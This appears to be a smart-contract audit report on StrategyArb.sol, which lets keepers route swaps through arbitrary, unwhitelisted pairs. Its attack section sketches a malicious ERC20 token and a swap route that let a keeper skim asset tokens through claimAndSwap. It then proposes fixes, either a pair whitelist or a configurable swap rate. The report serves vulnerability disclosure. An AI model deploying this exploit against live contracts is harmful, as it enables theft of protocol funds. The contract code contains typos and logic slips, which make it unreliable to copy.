Summary
This StrategyArb.sol doesn't have any whitelisted Factories and pairs, so any keeper can call a arbitrary factory and pair.
Vulnerability Details
uint256 oraclePrice = 1e18 * 101 / 100;
It means user can receive 10.1 * 1e18 asset tokens from 10 * 1e18 underlying tokens.
But there is only require statement require(minOut > _amount, "minOut too low"); in _swapUnderlyingToAsset() function.
It means the transaction will be successful when the address(this) only receives the 10e18 + 1 asset tokens.
So the malicious keeper can earn 0.1e18 -1 asset tokens.
Impact
If this is possible for any keeper, keepers can make a profit from transmuter contract using malicious factory and pair.
And then this contract can't make a profit using claimAndSwap function.
Tools Used
Mannual
Attack Method
This can be a malicious ERC20 token and create new pair for underlying token and new malicious token.
contract MyToken is ERC20 {
public address pool ;
public address Alchemix;
public address keeper;
public immutable owner;
public address underlying = 0x...;
constructor() {
owner = msg.sender;
_mint(owner, 10**30);
}
function setAddresses(address _pair, address _alche, address _keeper) public {
require(msg.sender == owner);
pool = _pair;
_alche = Alchemix;
keeper = _keeper;
}
function transfer(address to, uint256 value) public override returns (bool) {
require(tx.origin == keeper);
_transfer(owner, to, value);
uint256 _amount;
if(msg.sender == pool && to == Alchemix) {
(uint256 a1, uint256 a2) = IPAIR(pair).getReserves();
if(address(this) == IPAIR(pair).token0()) _amount = IERC20(underlying).balanceOf(pair) - a2;
else _amount = IERC20(underlying).balanceOf(pair) - a1;
safeTranserFrom(owner, Alchemix, _amount+1);
}
return true;
}
}
If a malicious keeper using this token and pair, he can call claimAndSwap(_amountClaim, _amountClaim+1, routes);
where routes =
IRamsesRouter.route[] memory routes = new IRamsesRouter.route[1];
routes[0].from = underlying;
routes[0].to = maliciousERC20;
routes[0].stable = false;
And then after claimAndSwap, the keeper can swap underlying tokens into asset tokens, so he earns 0.1e18-1 asset tokens from claim 10e18.
The bigger, the more.
So this should be fixed, or only add reliable Keeper.
Mitigration
There are several methods to fix this vulnerability.
First Check all possibilites to avoid attack.
+ mapping(address => bool) public whitelistedPairs;
+ function addWhitelistedPair(address _pair)onlyManagement {
+ whitelistedPairs[_pair] = true;
+ }
+ function removeWhitelistedPair(address _pair)onlyManagement {
+ whitelistedPairs[_pair] = false;
+ }
function _swapUnderlyingToAsset(
uint256 _amount,
uint256 minOut,
IRamsesRouter.route[] calldata _path
) internal {
+ require(_path[0].from == underlying);
+ require(_path[_path.length - 1].to == asset);
+ for(uint256 i, i<_path.length ; i++) {
+ address _temp = IRamsesRouter(router).pairFor(_path[i].from, _path[i].to, _path[i].stable);
+ require(whitelistedPairs[_temp]);
+ }
// TODO : we swap WETH to ALETH -> need to check that price is better than 1:1
// uint256 oraclePrice = 1e18 * 101 / 100;
require(minOut > _amount, "minOut too low");
uint256 underlyingBalance = underlying.balanceOf(address(this));
require(underlyingBalance >= _amount, "not enough underlying balance");
IRamsesRouter(router).swapExactTokensForTokens(
_amount,
minOut,
_path,
address(this),
block.timestamp
);
}
This is one of the methods that avoid the malicious swap.
There is another method to set the swap rete.
+ uint256 public swapRate = 10000;
+ function setSwapRate(uint256 _rate) onlyManagement{
+ swapRate = _rate;
+}
function _swapUnderlyingToAsset(
uint256 _amount,
uint256 minOut,
IRamsesRouter.route[] calldata _path
) internal {
// TODO : we swap WETH to ALETH -> need to check that price is better than 1:1
// uint256 oraclePrice = 1e18 * 101 / 100;
- require(minOut > _amount, "minOut too low");
+ require(minOut > _amount * swapRate / 10000, "minOut too low");
uint256 underlyingBalance = underlying.balanceOf(address(this));
require(underlyingBalance >= _amount, "not enough underlying balance");
IRamsesRouter(router).swapExactTokensForTokens(
_amount,
minOut,
_path,
address(this),
block.timestamp
);
}
